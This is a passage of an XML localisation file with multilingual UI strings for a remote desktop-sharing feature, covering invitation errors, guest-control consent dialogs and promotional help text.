<ru>Не удалось получить информацию о числе приглашений.\r\n\r\nПолучена следующая ошибка:\r\n</ru>
<ja>招待カウントの取得に失敗しました。\r\n\r\n受信したエラー :\r\n\r\n</ja>
<zh>无法获得邀请计数。\r\n\r\n收到以下错误:\r\n</zh>
<ko>초대장 개수를 가져오지 못했습니다.\r\n\r\n수신한 오류:\r\n</ko>
<en-gb>Failed to get invitation count.\r\n\r\nThe error received was:\r\n</en-gb>
<hu>Nem sikerült beszerezni a meghívók számát.\r\n\r\nA kapott hiba:\r\n</hu>
<pt-br>Falha ao obter a conta do convite.\r\n\r\nO erro recebido foi:\r\n</pt-br>
<nl>Tellen van aantal uitnodigingen is mislukt.\r\n\r\nDe gedetecteerde fout was:\r\n</nl>
</msg>
<msg name="DETAILFAILED">
<en>Failed to get invitation details.\r\n\r\nThe error received was:\r\n</en>
<es>Error al obtener los detalles de la invitación.\r\n\r\nEl error recibido fue:\r\n</es>
<de>Abrufen der Einladungsdetails nicht möglich.\r\n\r\nFehler:\r\n</de>
<fr>Echec de l'obtention des détails de l'invitation.\r\n\r\nL'erreur reçue était :\r\n</fr>
<it>Recupero dei dettagli dell'invito non riuscito.\r\n\r\nÈ stato ricevuto il seguente errore:\r\n</it>
<ru>Не удалось получить информацию о приглашении.\r\n\r\nПолучена следующая ошибка:\r\n</ru>
<ja>招待の詳細の取得に失敗しました。\r\n\r\n受信したエラー :\r\n\r\n</ja>
<zh>无法获得邀请详情。\r\n\r\n收到以下错误:\r\n</zh>
<ko>초대장 세부사항을 가져오지 못했습니다.\r\n\r\n수신한 오류:\r\n</ko>
<en-gb>Failed to get invitation details.\r\n\r\nThe error received was:\r\n</en-gb>
<hu>Nem sikerült beszerezni a meghívó részletes adatait.\r\n\r\nA kapott hiba:\r\n</hu>
<pt-br>Falha ao obter detalhes do convite.\r\n\r\nO erro recebido foi:\r\n</pt-br>
<nl>Opvragen van de detailgegevens van de uitnodiging is mislukt.\r\n\r\nDe gedetecteerde fout was:\r\n</nl>
</msg>
<msg name="CLEARFAILED">
<en>Failed to clear invitations.\r\n\r\nThe error received was:\r\n</en>
<es>Error al limpiar invitaciones.\r\n\r\nEl error recibido fue:\r\n</es>
<de>Löschen von Einladungen nicht möglich.\r\n\r\nFehler:\r\n</de>
<fr>Echec de l'effacement des invitations.\r\n\r\nL'erreur reçue était :\r\n</fr>
<it>Cancellazione degli inviti non riuscita.\r\n\r\nÈ stato ricevuto il seguente errore:\r\n</it>
<ru>Не удалось очистить приглашения.\r\n\r\nПолучена следующая ошибка:\r\n</ru>
<ja>招待の消去に失敗しました。\r\n\r\n受信したエラー :\r\n</ja>
<zh>清除邀请失败。\r\n\r\n收到以下错误:\r\n</zh>
<ko>초대장을 지우지 못했습니다.\r\n\r\n수신한 오류:\r\n</ko>
<en-gb>Failed to clear invitations.\r\n\r\nThe error received was:\r\n</en-gb>
<hu>Nem sikerült törölni a meghívókat.\r\n\r\nA kapott hiba:\r\n</hu>
<pt-br>Falha ao limpar o convite.\r\n\r\nO erro recebido foi:\r\n</pt-br>
<nl>Wissen van uitnodigingen is mislukt.\r\n\r\nDe gedetecteerde fout was:\r\n</nl>
</msg>
<msg name="SETFAILED">
<en>Failed to set invitation status.\r\n\r\nThe error received was:\r\n</en>
<es>Error al establecer el estado de la invitación.\r\n\r\nEl error recibido fue:\r\n</es>
<de>Festlegen von Einladungsstatus nicht möglich.\r\n\r\nFehler:\r\n</de>
<fr>Echec de la définition de l'état de l'invitation.\r\n\r\nL'erreur reçue était :\r\n</fr>
<it>Impostazione dello stato dell'invito non riuscita.\r\n\r\nÈ stato ricevuto il seguente errore:\r\n</it>
<ru>Не удалось установить состояние приглашения.\r\n\r\nПолучена следующая ошибка:\r\n</ru>
<ja>招待ステータスの設定に失敗しました。\r\n\r\n受信したエラー :\r\n</ja>
<zh>设置邀请状态失败。\r\n\r\n收到以下错误:\r\n</zh>
<ko>초대장 상태를 설정하지 못했습니다.\r\n\r\n수신한 오류:\r\n</ko>
<en-gb>Failed to set invitation status.\r\n\r\nThe error received was:\r\n</en-gb>
<hu>Nem sikerült beállítani a meghívó állapotát.\r\n\r\nA kapott hiba:\r\n</hu>
<pt-br>Falha ao definir status do convite.\r\n\r\nO erro recebido foi:\r\n</pt-br>
<nl>Instellen van status van uitnodiging is mislukt.\r\n\r\nDe gedetecteerde fout was:\r\n</nl>
</msg>
<msg name="DELETEFAILED">
<en>Failed to delete invitation.\r\n\r\nThe error received was:\r\n</en>
<es>Error al eliminar la invitación.\r\n\r\nEl error recibido fue:\r\n</es>
<de>Löschen von Einladung nicht möglich.\r\n\r\nFehler:\r\n</de>
<fr>Echec de la définition de l'état de l'invitation.\r\n\r\nL'erreur reçue était :\r\n</fr>
<it>Eliminazione dell'invito non riuscita.\r\n\r\nÈ stato ricevuto il seguente errore:\r\n</it>
<ru>Не удалось удалить приглашение.\r\n\r\nПолучена следующая ошибка:\r\n</ru>
<ja>招待の削除に失敗しました。\r\n\r\n受信したエラー :\r\n</ja>
<zh>删除邀请失败。\r\n\r\n收到以下错误:\r\n</zh>
<ko>초대장을 삭제하지 못했습니다.\r\n\r\n수신한 오류:\r\n</ko>
<en-gb>Failed to delete invitation.\r\n\r\nThe error received was:\r\n</en-gb>
<hu>Nem sikerült törölni a meghívót.\r\n\r\nA kapott hiba:\r\n</hu>
<pt-br>Falha ao excluir o convite.\r\n\r\nO erro recebido foi:\r\n</pt-br>
<nl>Verwijderen van uitnodiging is mislukt.\r\n\r\nDe gedetecteerde fout was:\r\n</nl>
</msg>
</cat>
<cat name="CONTROLDLG">
<msg name="LINE1">
<en>Would you like your guest to be able to control your keyboard and mouse?</en>
<es>¿Desea que su invitado pueda controlar el teclado y el ratón?</es>
<de>Soll der Gast berechtigt sein, die Tastatur und Maus zu steuern?</de>
<fr>Voulez-vous que l'invité puisse contrôler votre clavier et votre souris ?</fr>
<it>L'ospite deve essere in grado di controllare la tastiera e il mouse?</it>
<ru>Хотите, чтобы гость мог управлять вашими клавиатурой и мышью?</ru>
<ja>ゲストにキーボードおよびマウスの制御を許可しますか?</ja>
<zh>您是否愿意来宾能控制您的键盘和鼠标?</zh>
<ko>게스트가 사용자의 키보드 및 마우스를 제어할 수 있게 하시겠습니까?</ko>
<en-gb>Would you like your guest to be able to control your keyboard and mouse?</en-gb>
<hu>Szeretné, ha a vendégei vezérelhetnék az Ön billentyűzetét és egerét?</hu>
<pt-br>Gostaria que o convidado pudesse controlar o seu teclado e o seu mouse?</pt-br>
<nl>Wilt u dat uw gastgebruiker uw toetsenbord en muis kan bedienen?</nl>
</msg>
<msg name="LINE2">
<en>Yes, I trust the guest and want to allow him to control my computer</en>
<es>Sí, confío en el invitado y deseo permitirle controlar mi ordenador</es>
<de>Ja, der Gast darf meinen Computer steuern</de>
<fr>Oui, je fais confiance à l'invité et l'autorise à contrôler mon ordinateur</fr>
<it>Sì, mi fido dell'ospite e desidero consentirgli di controllare il mio computer</it>
<ru>Да, я доверяю данному и хочу разрешить ему управлять моим компьютером</ru>
<ja>はい。ゲストを信頼してこのコンピュータの制御を許可します。</ja>
<zh>是,我信任来宾并愿意让其控制我的计算机</zh>
<ko>예. 게스트를 신뢰하고 내 컴퓨터 제어를 허용하겠습니다.</ko>
<en-gb>Yes, I trust the guest and want to allow him to control my computer</en-gb>
<hu>Igen, megbízom a vendégben, és megengedem hogy vezérelje a számítógépemet.</hu>
<pt-br>Sim, confio no convidado e desejo permitir que ele controle meu computador.</pt-br>
<nl>Ja, ik vertrouw mijn gastgebruiker en hij/zij mag mijn computer bedienen</nl>
</msg>
<msg name="LINE3">
<en>No, I just want him to see my desktop and watch what I'm doing</en>
<es>No, quiero que sólo pueda ver mi escritorio y observar lo que estoy haciendo</es>
<de>Nein, der Gast darf meinen Desktop nur anzeigen und meine Aktionen verfolgen</de>
<fr>Non, je veux seulement que l'invité voie mon bureau et ce que je fais</fr>
<it>No, voglio solo che veda il mio desktop e quello che sto facendo</it>
<ru>Нет, я хочу, чтобы он мог просматривать мой рабочий стол и наблюдать за моими действиями</ru>
<ja>いいえ。このデスクトップの表示と操作の監視のみを許可します。</ja>
<zh>否,我只希望他看到我的桌面和观看我的操作</zh>
<ko>아니오. 내 데스크톱을 보고 내 작업을 관찰할 수 있도록 하겠습니다.</ko>
<en-gb>No, I just want him to see my desktop and watch what I'm doing</en-gb>
<hu>Nem, csak azt akarom, hogy lássa az asztalomat és figyelje, hogy mit csinálok</hu>
<pt-br>Não, desejo apenas que ele veja meu desktop e observe o que eu estou fazendo.</pt-br>
<nl>Nee, mijn gastgebruiker mag alleen mijn bureaublad weergeven en zien welke acties ik uitvoer</nl>
</msg>
<msg name="ALLOWDRAW">
<en>The guest can use my screen as a whiteboard</en>
<es>El invitado puede utilizar mi pantalla como pizarra</es>
<de>Der Gast kann meinen Bildschirm als Whiteboard verwenden</de>
<fr>L'invité peut utiliser mon écran en tant que tableau blanc</fr>
<it>L'ospite può usare lo schermo come una lavagna</it>
<ru>Гость может использовать мой экран в качестве доски объявлений</ru>
<ja>ゲストはこの画面をホワイトボードとして使用できます</ja>
<zh>来宾可以将我的屏幕用作白板</zh>
<ko>게스트는 내 화면을 화이트보드로 사용할 수 있습니다.</ko>
<en-gb>The guest can use my screen as a whiteboard</en-gb>
<hu>A vendég rajztáblaként használhatja a képernyőmet</hu>
<pt-br>O convidado pode usar minha tela como quadro de aviso</pt-br>
<nl>De gastgebruiker mag mijn scherm als whiteboard gebruiken</nl>
</msg>
<msg name="ALLOWDND">
<en>Allow drag and drop file transfer</en>
<es>Permitir la transferencia de archivos mediante arrastrar y soltar</es>
<de>Erlauben Sie Dateiübertragung per Drag-and-Drop</de>
<fr>Transfert de fichiers par glisser-déposer</fr>
<it>Consenti trasferimento di file tramite trascinamento</it>
<ru>Разрешить передачу файлов перетаскиванием</ru>
<ja>ファイルのドラッグ・アンド・ドロップ転送を許可する</ja>
<zh>允许拖放文件传输</zh>
<ko>드래그 앤 드롭 파일 전송을 허용합니다.</ko>
<en-gb>Allow drag and drop file transfer</en-gb>
<hu>Áthúzásos fájlátvitel engedélyezése</hu>
<pt-br>Permita a transferência de arquivos com arrastar e soltar</pt-br>
<nl>Bestandsoverdracht met slepen en neerzetten toestaan</nl>
</msg>
</cat>
<cat name="ACCESSDLG">
<msg name="LINE1">
<en>A guest invited by $1 via "$2" would like to view your desktop.</en>
<de>Ein Gast, der von $1 über "$2" eingeladen wurde, möchte Ihren Desktop anzeigen.</de>
<es>A un usuario invitado $1 mediante "$2" le gustaría ver su escritorio.</es>
<fr>Une personne invitée par $1 via « $2 » voudrait voir votre bureau.</fr>
<it>Un ospite invitato da $1 tramite "$2" vorrebbe vedere il desktop.</it>
<ru>Гость, приглашенный "$1" с посредством "$2", хотел бы просматривать ваш рабочий стол.</ru>
<ja>"$2" 経由で $1 に招待されたゲストが、デスクトップの表示を希望しています。</ja>
<ko>$1이(가) "$2"을(를) 통해 초대한 게스트는 사용자의 데스크톱을 보려고 합니다.</ko>
<zh>$1 通过 "$2" 邀请的来宾希望查看您的桌面。</zh>
<en-gb>A guest invited by $1 via "$2" would like to view your desktop.</en-gb>
<hu>A(z) „$2” útján $1 által meghívott vendég meg szeretné tekinteni az Ön asztalát.</hu>
<pt-br>Uma pessoa convidada por $1 via "$2" gostaria de ver seu desktop.</pt-br>
<nl>Een gastgebruiker die door $1 via "$2" is uitgenodigd, wil uw bureaublad weergeven.</nl>
</msg>
<msg name="LINE2">
<en>$2 is connecting from: $1</en>
<de>$2 stellt die Verbindung her über: $1</de>
<es>$2 se está conectando desde: $1</es>
<fr>$2 se connecte depuis : $1</fr>
<it>$2 si sta collegando da: $1</it>
<ru>"$2" соединяется с: $1</ru>
<ja>$2 の接続元: $1</ja>
<ko>$2의 연결 소스: $1</ko>
<zh>$2 来自: $1</zh>
<en-gb>$2 is connecting from: $1</en-gb>
<hu>$2 innen csatlakozik: $1</hu>
<pt-br>$2 está conectando de: $1</pt-br>
<nl>$2 is bezig met maken van verbinding vanaf: $1</nl>
</msg>
<msg name="LINE3">
<en>Would you like to allow the guest to access your computer?</en>
<es>¿Desea que el invitado pueda acceder a su ordenador?</es>
<de>Darf der Gast auf Ihren Computer zugreifen?</de>
<fr>Voulez-vous autoriser l'invité à accéder à votre ordinateur ?</fr>
<it>Consentire all'ospite di accedere al computer?</it>
<ru>Разрешить гостю доступ к вашему компьютеру?</ru>
<ja>このゲストにこのコンピュータへのアクセスを許可しますか?</ja>
<zh>您是否愿意让来宾访问您的计算机?</zh>
<ko>게스트에게 사용자 컴퓨터에 대한 액세스를 허용하시겠습니까?</ko>
<en-gb>Would you like to allow the guest to access your computer?</en-gb>
<hu>Meg kívánja engedni a vendégnek, hogy hozzáférjen az Ön számítógépéhez?</hu>
<pt-br>Deseja permitir que o convidado acesse o seu computador?</pt-br>
<nl>Wilt u toestaan dat de gastgebruiker toegang krijgt tot uw computer?</nl>
</msg>
</cat>
<cat name="EDUPAGE">
<msg name="HEADER">
<en>Use this secure feature to invite a trusted friend or colleague to remotely view or control this computer's desktop.</en>
<de>Sie können über diese sichere Funktion eine vertrauenswürdige Person einladen, den Desktop dieses Computers von einem Remotestandort aus anzuzeigen oder zu steuern.</de>
<es>Utilice esta función de seguridad para invitar a un amigo o compañero a ver o controlar el escritorio de este ordenador de forma remota.</es>
<fr>Utilisez cette fonction sécurisée pour inviter un ami ou collègue auquel vous faites confiance à voir ou contrôler à distance le bureau de cet ordinateur.</fr>
<it>Utilizza questa funzione protetta per invitare un amico o un collega fidato a visualizzare o controllare in remoto il desktop di questo computer.</it>
<ru>С помощью этой безопасной функции пригласите доверенных друзей или коллег к удаленному просмотру или управлению рабочим столом данного компьютера.</ru>
<ja>この安全な機能を使用して、信頼できる友人や同僚を招待すれば、友人や同僚もこのコンピュータのデスクトップをリモートで表示または制御することができます。</ja>
<zh>使用此安全功能可以邀请受信任的朋友或同事远程查看或控制此计算机的桌面。</zh>
<ko>이 보안 기능을 사용하여 현재 컴퓨터의 데스크톱을 원격으로 보거나 제어하도록 믿을 수 있는 친구나 동료를 초대하십시오.</ko>
<en-gb>Use this secure feature to invite a trusted friend or colleague to remotely view or control this computer's desktop.</en-gb>
<hu>Ezzel a biztonságos funkcióval hívhat meg egy megbízható barátot vagy kollégát, hogy távolról megtekintse vagy vezérelje az Ön számítógépének asztalát.</hu>
<pt-br>Use este recurso de segurança para convidar um amigo ou colega confiável para ver ou controlar remotamente o desktop deste computador.</pt-br>
<nl>Gebruik deze beveiligde functie om vrienden of collega's die u vertrouwt uit te nodigen om op afstand het bureaublad van deze computer te bekijken of te besturen.</nl>
</msg>
<msg brand="LMI" name="HEADER">
<en>Invite friends and colleagues to temporarily access your PC's desktop. It's fast, easy and secure!</en>
<de>Sie können über diese sichere Funktion eine vertrauenswürdige Person einladen, den Desktop dieses Computers von einem Remotestandort aus anzuzeigen oder zu steuern.</de>
<es>Invite a amigos y compañeros a que accedan temporalmente a su ordenador. Es rápido, sencillo y seguro.</es>
<fr>Utilisez cette fonction sécurisée pour inviter un ami ou collègue auquel vous faites confiance à voir ou contrôler à distance le bureau de cet ordinateur.</fr>
<it>Utilizza questa funzione protetta per invitare un amico o un collega fidato a visualizzare o controllare in remoto il desktop di questo computer.</it>
<ru>С помощью этой безопасной функции пригласите доверенных друзей или коллег к удаленному просмотру или управлению рабочим столом данного компьютера.</ru>
<ja>この安全な機能を使用して、信頼できる友人や同僚を招待すれば、友人や同僚もこのコンピュータのデスクトップをリモートで表示または制御することができます。</ja>
<zh>使用此安全功能可以邀请受信任的朋友或同事远程查看或控制此计算机的桌面。</zh>
<ko>이 보안 기능을 사용하여 현재 컴퓨터의 데스크톱을 원격으로 보거나 제어하도록 믿을 수 있는 친구나 동료를 초대하십시오.</ko>
<en-gb>Use this secure feature to invite a trusted friend or colleague to remotely view or control this computer's desktop.</en-gb>
<hu>Ezzel a biztonságos funkcióval hívhat meg egy megbízható barátot vagy kollégát, hogy távolról megtekintse vagy vezérelje az Ön számítógépének asztalát.</hu>
<pt-br>Use este recurso de segurança para convidar um amigo ou colega confiável para ver ou controlar remotamente o desktop deste computador.</pt-br>
<nl>Gebruik deze beveiligde functie om vrienden of collega's die u vertrouwt uit te nodigen om op afstand het bureaublad van deze computer te bekijken of te besturen.</nl>
</msg>
<msg brand="LMI" os="macosx" name="HEADER">
<en>Invite friends and colleagues to temporarily access your computer's desktop. It's fast, easy and secure!</en>
<es>Invite a amigos y compañeros a que accedan temporalmente a su ordenador. ¡Es rápido, fácil y seguro!</es>
<de>Laden Sie Freunde und Kollegen ein, für eine gewisse Zeitspanne auf den Desktop Ihres Computers zuzugreifen. Es ist schnell, einfach und sicher!</de>
<fr>Invitez des amis et collègues à accéder temporairement au bureau de votre ordinateur. C'est rapide, facile et sécurisé !</fr>
<it>Invita amici e colleghi ad accedere temporaneamente al desktop del tuo computer. È semplice, rapido e sicuro!</it>
<ru>Приглашайте друзей и коллег для временного доступа к рабочему столу вашего компьютера. Это легко, быстро и безопасно!</ru>
<ja>友人や同僚を招待して、一時的に自分のコンピュータへのアクセスを許可します。 スピーディーかつ簡単、安全です。</ja>
<zh>邀请朋友和同事临时访问您计算机的桌面。 快速、简单和安全!</zh>
<ko>친구 및 동료를 초대하여 일시적으로 사용자의 컴퓨터 데스크톱에 액세스할 수 있도록 허용합니다. 빠르고 쉽고 안전합니다!</ko>
<en-gb>Invite friends and colleagues to temporarily access your computer's desktop. It's fast, easy and secure!</en-gb>
<hu>Hívja meg barátait és munkatársait, hogy ideiglenesen megtekintsék az Ön képernyőjét Gyors, könnyű, és biztonságos!</hu>
<pt-br>Convide amigos e colegas para acessar temporariamente a área de trabalho do seu computador. É rápido, fácil e seguro!</pt-br>
<nl>Nodig vrienden en collega's uit zodat ze tijdelijk toegang krijgen tot het bureaublad van uw computer. Snel, gemakkelijk en veilig!</nl>
</msg>
<msg name="1">
<en>You must be present at the computer your guest will be accessing.</en>
<es>Debe estar delante del ordenador al que accederá el invitado.</es>
<de>Sie müssen sich während des Gastzugriffs am Computer befinden.</de>
<fr>Vous devez être présent devant l'ordinateur auquel l'invité va accéder.</fr>
<it>È necessario trovarsi davanti al computer quando l'ospite accederà ad esso.</it>
<ru>Вы должны присутствовать за компьютером, когда ваш гость получит к нему доступ.</ru>
<ja>ゲストにアクセスを許可するコンピュータの前にいる必要があります。</ja>
<zh>您必须位于来宾要访问的那台计算机前。</zh>
<ko>사용자는 게스트가 액세스할 컴퓨터에 있어야 합니다.</ko>
<en-gb>You must be present at the computer your guest will be accessing.</en-gb>
<hu>Jelen kell lennie annál a számítógépnél, amelybe a vendége belép.</hu>
<pt-br>Você precisa estar presente ao computador que está sendo acessado pelo convidado.</pt-br>
<nl>U moet aan de computer zitten waarvoor uw gastgebruiker toegang wil krijgen.</nl>
</msg>
<msg name="2">
<en>Your guest will not need a password, and you control their level of access</en>
<es>El invitado no necesitará contraseña y usted controlará su nivel de acceso.</es>
<de>Der Gast muss kein Kennwort eingeben, und Sie steuern die Zugriffsebene</de>
<fr>L'invité n'a pas besoin d'un mot de passe et vous contrôlez son niveau d'accès</fr>
<it>L'ospite non avrà bisogno di una password ed è necessario controllarne il livello di accesso</it>
<ru>Вашему гостю не потребуется пароль, т.к. вы контролируете уровень его доступа.</ru>
<ja>ゲストはパスワードを必要としません。ゲストのアクセス レベルはこちらで制御します。</ja>
<zh>您的来宾并不需要密码,您将控制他们的访问级别</zh>
<ko>게스트는 암호가 필요 없으며 사용자는 게스트의 액세스 수준을 제어합니다.</ko>
<en-gb>Your guest will not need a password and you control their level of access</en-gb>
<hu>A vendégnek nem lesz szüksége jelszóra, és beállíthatja a hozzáférésük szintjét is</hu>
<pt-br>O convidado não precisará de senha, e você controlará o nível de acesso dele</pt-br>
<nl>Uw gastgebruiker heeft geen wachtwoord nodig en u bepaalt het toegangsniveau van de gastgebruiker</nl>
</msg>
<msg name="3">
<en>Permit remote control of your keyboard and mouse</en>
<es>Permitir el control remoto del teclado y el ratón</es>
<de>Remotesteuerung für Tastatur und Maus zulassen</de>
<fr>Autorisez le contrôle à distance de votre clavier et votre souris</fr>
<it>Consenti il controllo remoto della tastiera e del mouse</it>
<ru>Разрешить удаленное управление своей клавиатурой и мышью</ru>
<ja>このキーボードとマウスのリモート制御を許可する</ja>
<zh>允许远程控制您的键盘和鼠标</zh>
<ko>사용자의 키보드 및 마우스에 대한 원격 제어 허용</ko>
<en-gb>Permit remote control of your keyboard and mouse</en-gb>
<hu>Engedélyezheti a billentyűzet és az egér távvezérlését</hu>
<pt-br>Permitir controle remoto do teclado e do mouse</pt-br>
<nl>Besturing op afstand van uw toetsenbord en muis toestaan</nl>
</msg>
<msg name="4">
<en>Permit remote access in view-only mode</en>
<es>Permitir el acceso remoto en modo de sólo visión</es>
<de>Remotezugriff nur im Ansichtsmodus zulassen</de>
<fr>Autorisez le contrôle à distance en mode affichage uniquement</fr>
<it>Consenti l'accesso remoto in modalità di solo visualizzazione</it>
<ru>Разрешить удаленный доступ только в режиме просмотра</ru>
<ja>閲覧専用モードでのリモート アクセスを許可する</ja>
<zh>允许以仅查看模式进行远程访问</zh>
<ko>보기 전용 모드에서 원격 액세스 허용</ko>
<en-gb>Permit remote access in view-only mode</en-gb>
<hu>Engedélyezheti a csak megtekintési üzemmódú távelérést</hu>
<pt-br>Permitir acesso remoto no modo somente exibição</pt-br>
<nl>Toegang met uitsluitend weergeven toestaan</nl>
</msg>
<msg name="5">
<en>Decline the guest access if you change your mind</en>
<es>Rechace el acceso del invitado si cambia de opinión</es>
<de>Gästezugriff verweigern, falls Sie Ihre Meinung ändern</de>
<fr>Interdisez l'accès aux invités si vous changez d'avis</fr>
<it>Puoi sempre negare l'accesso all'ospite, se cambi idea</it>
<ru>Можно отказать пользователю-гостю в доступе, если вы передумаете</ru>
<ja>気が変わった場合にゲストのアクセスを拒否する</ja>
<zh>在您改变主意时拒绝来宾访问</zh>
<ko>의사를 변경하고 싶다면 게스트 액세스를 거부합니다.</ko>
<en-gb>Decline the guest access if you change your mind</en-gb>
<hu>Ha mégis meggondolná magát, bármikor visszautasíthatja a vendéghozzáférést</hu>
<pt-br>Se mudar de idéia, recuse o acesso do convidado</pt-br>
<nl>Wijs de toegang voor gasten af wanneer u zich bedenkt</nl>
</msg>
<msg name="6">
<en>Note: You must be at this computer when your guest accepts the invitation, or they will be automatically declined access.</en>
<de>Hinweis: Sie müssen an diesem Computer arbeiten, wenn der Gast die Einladung annimmt. Andernfalls wird der Zugriff automatisch verweigert.</de>
<es>Nota: Debe estar delante del ordenador cuando el invitado acepte la invitación, o se le denegará automáticamente el acceso.</es>
<fr>Remarque : vous devez vous trouver devant cet ordinateur lorsque l'invité accepte l'invitation ou l'accès lui sera automatiquement refusé.</fr>
<it>Nota: è necessario trovarsi davanti a questo computer quando l'ospite accetta l'invito; in caso contrario l'accesso verrà automaticamente rifiutato.</it>
<ru>Примечание. Пользователь должен быть рядом с компьютером, когда его гость принимает приглашение, или ему автоматически будет отказано в доступе.</ru>
<ja>ノート :ゲストが招待を受けるときには、このコンピュータの前にいる必要があります。不在の場合、ゲストは自動的にアクセスを拒否されます。</ja>
<zh>注意:您必须在来宾接受邀请时位于此计算机前,否则系统将自动拒绝其访问。</zh>
<ko>참고: 게스트가 초대를 수락할 때 사용자는 이 컴퓨터 앞에 있어야 합니다. 그렇지 않으면 자동으로 액세스가 거부됩니다.</ko>
<en-gb>Note: You must be at this computer when your guest accepts the invitation or they will be automatically declined access.</en-gb>
<hu>Megjegyzés: Ennél a számítógépnél kell lennie, amikor a vendég elfogadja a meghívást, ellenkező esetben hozzáférésük automatikusan elutasításra kerül.</hu>
<pt-br>Observação: Você precisará estar neste computador quando o convidado aceitar o convite, senão o acesso será recusado automaticamente.</pt-br>
<nl>Opmerking: U moet aan deze computer zitten wanneer uw gastgebruiker de uitnodiging accepteert; als dat niet het geval is, wordt de toegang automatisch geweigerd.</nl>
</msg>
<msg brand="LMI" name="6">
<en>If you're not present at your computer when your guest responds, they will automatically be declined access.</en>
<es>Si no está delante del ordenador cuando responda el invitado, no se concederá acceso.</es>
<de>Hinweis: Sie müssen an diesem Computer arbeiten, wenn der Gast die Einladung annimmt. Andernfalls wird der Zugriff automatisch verweigert.</de>
<fr>Remarque : vous devez vous trouver devant cet ordinateur lorsque l'invité accepte l'invitation ou l'accès lui sera automatiquement refusé.</fr>
<it>Nota: è necessario trovarsi davanti a questo computer quando l'ospite accetta l'invito; in caso contrario l'accesso verrà automaticamente rifiutato.</it>
<ru>Примечание. Пользователь должен быть рядом с компьютером, когда его гость принимает приглашение, или ему автоматически будет отказано в доступе.</ru>
<ja>ノート :ゲストが招待を受けるときには、このコンピュータの前にいる必要があります。不在の場合、ゲストは自動的にアクセスを拒否されます。</ja>
<zh>注意:您必须在来宾接受邀请时位于此计算机前,否则系统将自动拒绝其访问。</zh>
<ko>참고: 게스트가 초대를 수락할 때 사용자는 이 컴퓨터 앞에 있어야 합니다. 그렇지 않으면 자동으로 액세스가 거부됩니다.</ko>
<en-gb>Note: You must be at this computer when your guest accepts the invitation or they will be automatically declined access.</en-gb>
<hu>Megjegyzés: Ennél a számítógépnél kell lennie, amikor a vendég elfogadja a meghívást, ellenkező esetben hozzáférésük automatikusan elutasításra kerül.</hu>
<pt-br>Observação: Você precisará estar neste computador quando o convidado aceitar o convite, senão o acesso será recusado automaticamente.</pt-br>
<nl>Opmerking: U moet aan deze computer zitten wanneer uw gastgebruiker de uitnodiging accepteert; als dat niet het geval is, wordt de toegang automatisch geweigerd.</nl>
</msg>
<msg name="7">
<en>Did you know...</en>
<es>¿Sabía que...</es>
<de>Wussten Sie schon?</de>
<fr>Le saviez-vous ?</fr>
<it>Forse non tutti sanno che...</it>
<ru>Полезные советы...</ru>
<ja>ご存知ですか...</ja>
<zh>您是否知道...</zh>
<ko>확인 사항...</ko>
<en-gb>Did you know...</en-gb>
<hu>Tudta, hogy...</hu>
<pt-br>Você sabia...</pt-br>
<nl>Wist u dit al...</nl>
</msg>
<msg name="8">
<en>To share your desktop, choose Desktop Sharing from the %PRODUCTNAME system tray.</en>
<es>Para compartir el escritorio, seleccione Escritorio compartido en la %PRODUCTNAME bandeja de sistema.</es>
<de>Wählen Sie über das %PRODUCTNAME-Taskleistensymbol die Option „Desktopfreigabe“, um Ihren Desktop für andere freizugeben.</de>
<fr>Pour partager votre bureau, choisissez Partage de bureau dans l'icône de la zone de notification système de %PRODUCTNAME.</fr>
<it>Per condividere il desktop, selezionare Condivisione del desktop dalla barra delle applicazioni di %PRODUCTNAME.</it>
<ru>Для организации доступа к своему рабочему столу выберите пункт «Совместно использовать мой рабочий стол», щелкнув значок %PRODUCTNAME в области уведомлений панели задач.</ru>
<ja>デスクトップを共有するには、%PRODUCTNAME システム トレイから [デスクトップ共有] を選択します。</ja>
<zh>要共享您的桌面,请从 %PRODUCTNAME 系统托盘中选择“桌面共享”。</zh>
<ko>데스크톱을 공유하려면, %PRODUCTNAME 시스템 트레이에서 데스크톱 공유를 선택하십시오.</ko>
<en-gb>To share your desktop, choose Desktop Sharing from the %PRODUCTNAME system tray.</en-gb>
<hu>A képernyő megosztásához a %PRODUCTNAME tálcaikonjára kattintva válassza a Képernyőmegosztás lehetőséget.</hu>
<pt-br>Para compartilhar sua área de trabalho, escolha Compartilhamento do desktop na bandeja do sistema do %PRODUCTNAME.</pt-br>
<nl>Om uw bureaublad te delen, kiest u Delen van bureaublad in het %PRODUCTNAME-systeemvak.</nl>
</msg>
</cat>
<cat name="INTRO">
<msg name="1">
<en>Use it to...</en>
<es>Utilícelo para...</es>
<de>Verwendung...</de>
<fr>A utiliser pour...</fr>
<it>Utilizzarlo per...</it>
<ru>Используйте эту функцию для поддержки следующих видов деятельности:</ru>
<ja>使用例...</ja>
<zh>使用该功能可以...</zh>
<ko>수행 작업...</ko>
<en-gb>Use it to...</en-gb>
<hu>Használja a következőkre:</hu>
<pt-br>Use-o para...</pt-br>
<nl>Gebruik deze functie voor...</nl>
</msg>
<msg name="2">
<en>Collaborate</en>
<de>Mitarbeiten</de>
<es>Trabajar en grupo</es>
<fr>Collaborer</fr>
<it>Collaborare</it>
<ru>Совместная работа</ru>
<ja>共同作業</ja>
<zh>协作</zh>
<ko>협업</ko>
<en-gb>Collaborate</en-gb>
<hu>Együttműködés</hu>
<pt-br>Trabalhar junto</pt-br>
<nl>Samenwerken</nl>
</msg>
<msg name="3">
<en>Conference</en>
<es>Conferencias</es>
<de>Konferenz</de>
<fr>Conférence</fr>
<it>Conferenza</it>
<ru>Конференция</ru>
<ja>会議</ja>
<zh>会议</zh>
<ko>회의</ko>
<en-gb>Conference</en-gb>
<hu>Konferencia</hu>
<pt-br>Conferência</pt-br>
<nl>Vergaderingen</nl>
</msg>
<msg name="4">
<en>Online demos</en>
<es>Demostraciones en línea</es>
<de>Onlinedemos</de>
<fr>Démos en ligne</fr>
<it>Dimostrazioni in linea</it>
<ru>Интерактивные демонстрации</ru>
<ja>オンライン デモ</ja>
<zh>联机演示</zh>
<ko>온라인 데모</ko>
<en-gb>Online demos</en-gb>
<hu>Online demó</hu>
<pt-br>Demonstrações online</pt-br>
<nl>Online demo's</nl>
</msg>
<msg name="5">
<en>Training</en>
<es>Formación</es>
<de>Schulungen</de>
<fr>Formation</fr>
<it>Formazione</it>
<ru>Обучение</ru>
<ja>トレーニング</ja>
<zh>培训</zh>
<ko>교육</ko>
<en-gb>Training</en-gb>
<hu>Képzés</hu>
<pt-br>Treinamento</pt-br>
<nl>Opleidingscursussen</nl>
</msg>
<msg name="6">
<en>Request support</en>
<es>Solicitar asistencia</es>
<de>Unterstützung anfordern</de>
<fr>Demander de l'assistance</fr>
